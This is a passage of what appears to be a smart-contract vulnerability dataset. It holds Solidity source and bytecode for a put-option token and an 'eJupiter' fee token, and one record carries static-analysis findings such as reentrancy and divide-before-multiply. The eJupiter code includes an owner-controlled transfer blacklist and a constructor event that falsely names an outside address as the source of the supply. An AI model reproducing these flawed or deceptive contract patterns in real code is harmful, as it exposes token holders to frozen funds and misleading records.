_spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant public returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract PUST is ERC20Token { string public name = "UST Put Option"; string public symbol = "PUST9"; uint public decimals = 0; uint256 public totalSupply = 0; uint256 public topTotalSupply = 1000 * 130000; function transfer(address _to, uint256 _value) public returns (bool success) { //Default assumes totalSupply can&#39;t be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn&#39;t wrap. //Replace the if with this one instead. if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. if (balances[_from] >= _value && allowances[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowances[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowances[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowances[_owner][_spender]; } mapping(address => uint256) public balances; mapping (address => mapping (address => uint256)) allowances; } contract ExchangeUST is SafeMath, Owned, PUST { // Exercise End Time 10/1/2018 0:0:0 uint public ExerciseEndTime = 1538323200; uint public exchangeRate = 130000; //percentage times (1 ether) //mapping (address => uint) ustValue; //mapping of token addresses to mapping of account balances (token=0 means Ether) // UST address address public ustAddress = address(0xFa55951f84Bfbe2E6F95aA74B58cc7047f9F0644); // offical Address address public officialAddress = address(0x472fc5B96afDbD1ebC5Ae22Ea10bafe45225Bdc6); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); event exchange(address contractAddr, address reciverAddr, uint _pustBalance); event changeFeeAt(uint _exchangeRate); function chgExchangeRate(uint _exchangeRate) public onlyOwner { require (_exchangeRate != exchangeRate); require (_exchangeRate != 0); exchangeRate = _exchangeRate; } function exerciseOption(uint _pustBalance) public returns (bool) { require (now < ExerciseEndTime); require (_pustBalance <= balances[msg.sender]); // convert units from ether to wei uint _ether = safeMul(_pustBalance, 7 * 10 ** 12); require (address(this).balance >= _ether); // UST amount uint _amount = safeMul(_pustBalance, 10 ** 18); require (PUST(ustAddress).transferFrom(msg.sender, officialAddress, _amount) == true); balances[msg.sender] = safeSub(balances[msg.sender], _pustBalance); balances[officialAddress] = safeAdd(balances[officialAddress], _pustBalance); msg.sender.transfer(_ether); emit exchange(address(this), msg.sender, _pustBalance); } } contract USTputOption is ExchangeUST { // constant uint public initBlockEpoch = 40; uint public eachUserWeight = 10; uint public lastEpochBlock = block.number + initBlockEpoch; uint public price1=1750 * 9991 * 10**9/10000; uint public price2=250 * 99993 * 10**9/100000; uint public initEachPUST = 2 * 10**12 wei; uint public eachPUSTprice = initEachPUST; uint public epochLast = 0; event buyPUST (address caller, uint PUST); event Reward (address indexed _from, address indexed _to, uint256 _value); function () payable public { require (now < ExerciseEndTime); //require (topTotalSupply > totalSupply); //bool firstCallReward = false; uint epochNow = whichEpoch(block.number); if(epochNow != epochLast) { lastEpochBlock = safeAdd(lastEpochBlock, ((block.number - lastEpochBlock)/initBlockEpoch + 1)* initBlockEpoch); eachPUSTprice = calcpustprice(epochNow, epochLast); epochLast = epochNow; } uint _value = msg.value; require(_value >= 1 finney); uint _PUST = _value / eachPUSTprice; require(safeMul(_PUST, eachPUSTprice) <= _value); if (safeAdd(totalSupply, _PUST) > topTotalSupply) { _PUST = safeSub(topTotalSupply, totalSupply); } uint _refound = safeSub(_value, safeMul(_PUST, eachPUSTprice)); if(_refound > 0) { msg.sender.transfer(_refound); } officialAddress.transfer(safeSub(_value, _refound)); balances[msg.sender] = safeAdd(balances[msg.sender], _PUST); totalSupply = safeAdd(totalSupply, _PUST); emit Transfer(address(this), msg.sender, _PUST); // calc last epoch lastEpochBlock = safeAdd(lastEpochBlock, eachUserWeight); } // function whichEpoch(uint _blocknumber) internal view returns (uint _epochNow) { if (lastEpochBlock >= _blocknumber ) { _epochNow = epochLast; } else { _epochNow = epochLast + (_blocknumber - lastEpochBlock) / initBlockEpoch + 1; } } function calcpustprice(uint _epochNow, uint _epochLast) public returns (uint _eachPUSTprice) { require (_epochNow - _epochLast > 0); uint dif = _epochNow - _epochLast; uint dif100 = dif/100; dif = dif - dif100*100; for(uint i=0;i<dif100;i++) { price1 = price1-price1*5/100; price2 = price2-price2*7/1000; } price1 = price1 - price1*5*dif/10000; price2 = price2 - price2*7*dif/100000; _eachPUSTprice = price1+price2; } // only owner can deposit ether into put option contract function DepositETH(uint _PUST) payable public { // deposit ether require (msg.sender == officialAddress); topTotalSupply += _PUST; } // only end time, onwer can transfer contract&#39;s ether out. function WithdrawETH() payable public onlyOwner { officialAddress.transfer(address(this).balance); } }
0x60606040526004361061018a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304994883811461038b57806306fdde03146103ba578063095ea7b3146104445780630f1df5741461047a57806318160ddd146104845780631b1b6069146104a957806323b872dd146104bc57806327a3181d146104e457806327e235e3146104f7578063313ce56714610516578063369f927f146105295780633ba0b9a91461053c57806355a392ac1461054f5780636caf25ce146105625780636cf1a4521461057557806370a082311461058b57806385c09f26146105aa5780638da5cb5b146105bd57806395d89b41146105d0578063a347ef84146105e3578063a4430321146105fc578063a6f9dae11461060f578063a9059cbb1461062e578063c2362dd514610650578063dc57d55314610663578063dd62ed3e14610676578063f05a781d1461069b578063f1ce37d9146106ae578063f21b64ad146106c1578063f52f2526146106cc578063fcd41c1f146106e2575b600080600080600b54421015156101a057600080fd5b6101a9436106f5565b60165490945084146101f3576101d9601154600f54600f5460115443038115156101cf57fe5b046001010261072c565b6011556016546101ea908590610750565b60155560168490555b34925066038d7ea4c6800083101561020a57600080fd5b6015548381151561021757fe5b04915082610227836015546107e3565b111561023257600080fd5b6008546102416007548461072c565b111561025857610255600854600754610804565b91505b61026d83610268846015546107e3565b610804565b905060008111156102a957600160a060020a03331681156108fc0282604051600060405180830381858888f1935050505015156102a957600080fd5b600e54600160a060020a03166108fc6102c28584610804565b9081150290604051600060405180830381858888f1935050505015156102e757600080fd5b600160a060020a03331660009081526009602052604090205461030a908361072c565b600160a060020a033316600090815260096020526040902055600754610330908361072c565b600755600160a060020a033381169030167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a361038260115460105461072c565b60115550505050005b341561039657600080fd5b61039e61081b565b604051600160a060020a03909116815260200160405180910390f35b34156103c557600080fd5b6103cd61082a565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156104095780820151838201526020016103f1565b50505050905090810190601f1680156104365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044f57600080fd5b610466600160a060020a03600435166024356108c8565b604051901515815260200160405180910390f35b610482610934565b005b341561048f57600080fd5b61049761098a565b60405190815260200160405180910390f35b34156104b457600080fd5b610497610990565b34156104c757600080fd5b610466600160a060020a0360043581169060243516604435610996565b34156104ef57600080fd5b610497610aa7565b341561050257600080fd5b610497600160a060020a0360043516610aad565b341561052157600080fd5b610497610abf565b341561053457600080fd5b610497610ac5565b341561054757600080fd5b610497610acb565b341561055a57600080fd5b610497610ad1565b341561056d57600080fd5b610497610ad7565b341561058057600080fd5b610482600435610add565b341561059657600080fd5b610497600160a060020a0360043516610b18565b34156105b557600080fd5b610497610b33565b34156105c857600080fd5b61039e610b39565b34156105db57600080fd5b6103cd610b48565b34156105ee57600080fd5b610497600435602435610750565b341561060757600080fd5b610497610bb3565b341561061a57600080fd5b610466600160a060020a0360043516610bb9565b341561063957600080fd5b610466600160a060020a0360043516602435610c20565b341561065b57600080fd5b610497610cdd565b341561066e57600080fd5b610497610ce3565b341561068157600080fd5b610497600160a060020a0360043581169060243516610ce9565b34156106a657600080fd5b610466610d14565b34156106b957600080fd5b610497610dbe565b610482600435610dc4565b34156106d757600080fd5b610466600435610dea565b34156106ed57600080fd5b61039e611004565b60008160115410151561070b5750601654610727565b600f54601154830381151561071c57fe5b046016540160010190505b919050565b60008282018381108015906107415750828110155b151561074957fe5b9392505050565b600080808084860381901161076457600080fd5b505050606482840381810491820290039060005b818110156107a757601280546064600582020490039055601380546103e8600782020490039055600101610778565b601280546127106005868302020490039055601354620186a0908402600702046013540360138190555060135460125401935050505092915050565b600082820283158061074157508284828115156107fc57fe5b041461074957fe5b60008282111561081057fe5b508082035b92915050565b600d54600160a060020a031681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c05780601f10610895576101008083540402835291602001916108c0565b820191906000526020600020905b8154815290600101906020018083116108a357829003601f168201915b505050505081565b600160a060020a033381166000818152600a6020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005433600160a060020a0390811691161461094f57600080fd5b600e54600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561098857600080fd5b565b60075481565b60145481565b600160a060020a0383166000908152600960205260408120548290108015906109e65750600160a060020a038085166000908152600a602090815260408083203390941683529290522054829010155b8015610a0c5750600160a060020a03831660009081526009602052604090205482810110155b15610a9d57600160a060020a03808416600081815260096020908152604080832080548801905588851680845281842080548990039055600a83528184203390961684529490915290819020805486900390559091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3506001610749565b5060009392505050565b60135481565b60096020526000908152604090205481565b60065481565b600f5481565b600c5481565b600b5481565b60125481565b60005433600160a060020a03908116911614610af857600080fd5b600c54811415610b0757600080fd5b801515610b1357600080fd5b600c55565b600160a060020a031660009081526009602052604090205490565b60085481565b600054600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c05780601f10610895576101008083540402835291602001916108c0565b60155481565b6000805433600160a060020a03908116911614610bd557600080fd5b600054600160a060020a0383811691161415610bf057600080fd5b5060018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116178155919050565b600160a060020a033316600090815260096020526040812054829010801590610c635750600160a060020a03831660009081526009602052604090205482810110155b15610cd557600160a060020a033381166000818152600960205260408082208054879003905592861680825290839020805486019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3506001610815565b506000610815565b60115481565b60165481565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b60015460009033600160a060020a03908116911614610d3257600080fd5b6000546001547fa6348c80a3dfb1c2603f5c35480c5bd8afc0656ad83dc6b520b648cb286d541791600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a150600180546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0390921691909117905590565b60105481565b600e5433600160a060020a03908116911614610ddf57600080fd5b600880549091019055565b6000806000600b5442101515610dff57600080fd5b600160a060020a033316600090815260096020526040902054841115610e2457600080fd5b610e348465065dd08370006107e3565b9150600160a060020a0330163182901015610e4e57600080fd5b610e6084670de0b6b3a76400006107e3565b600d54600e54919250600160a060020a03908116916323b872dd91339116846040517c010000000000000000000000000000000000000000000000000000000063ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610ee757600080fd5b5af11515610ef457600080fd5b505050604051805115156001149050610f0c57600080fd5b600160a060020a033316600090815260096020526040902054610f2f9085610804565b600160a060020a0333811660009081526009602052604080822093909355600e5490911681522054610f61908561072c565b600e54600160a060020a03908116600090815260096020526040908190209290925533169083156108fc0290849051600060405180830381858888f193505050501515610fad57600080fd5b7f969e37563aed2d121a1322fb6538832cdaca9b6bc6ece15ce3dae224ba2db0be303386604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15050919050565b600e54600160a060020a0316815600a165627a7a723058203f6d041a2c917cb38a2c22f78e0c3be284619f2ca0e9ce33c0ec20bfc12921c60029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
3,188
0x3155073a4081e041913d2e312b9f0ef70a3a8952
/** *Submitted for verification at Etherscan.io on 2021-06-01 */ /** ▄████████ ▄█ ███ █▄ ▄███████▄ ▄█ ███ ▄████████ ▄████████ ███ ███ ███ ███ ███ ███ ███ ███ ▀█████████▄ ███ ███ ███ ███ ███ █▀ ███ ███ ███ ███ ███ ███▌ ▀███▀▀██ ███ █▀ ███ ███ ▄███▄▄▄ ███ ███ ███ ███ ███ ███▌ ███ ▀ ▄███▄▄▄ ▄███▄▄▄▄██▀ ▀▀███▀▀▀ ███ ███ ███ ▀█████████▀ ███▌ ███ ▀▀███▀▀▀ ▀▀███▀▀▀▀▀ ███ █▄ ███ ███ ███ ███ ███ ███ ███ █▄ ▀███████████ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ██████████ █▄ ▄███ ████████▀ ▄████▀ █▀ ▄████▀ ██████████ ███ ███ ▀▀▀▀▀▀ ███ █ TG: t.me/ejupitereth SPDX-License-Identifier: MIT */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract eJupiter is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Ethereum Jupiter"; string private constant _symbol = 'eJupiter'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 7; _teamFee = 3; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 7; _teamFee = 7; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4.25e9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061290e565b61045e565b6040516101789190612dad565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f4a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128bf565b61048d565b6040516101e09190612dad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612831565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fbf565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061298b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612831565b610783565b6040516102b19190612f4a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cdf565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061290e565b61098d565b60405161035b9190612dad565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061294a565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129dd565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612883565b61121a565b6040516104189190612f4a565b60405180910390f35b60606040518060400160405280601081526020017f457468657265756d204a75706974657200000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161365a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612eaa565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612eaa565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612eaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f654a757069746572000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612eaa565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613260565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611cf9565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612eaa565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f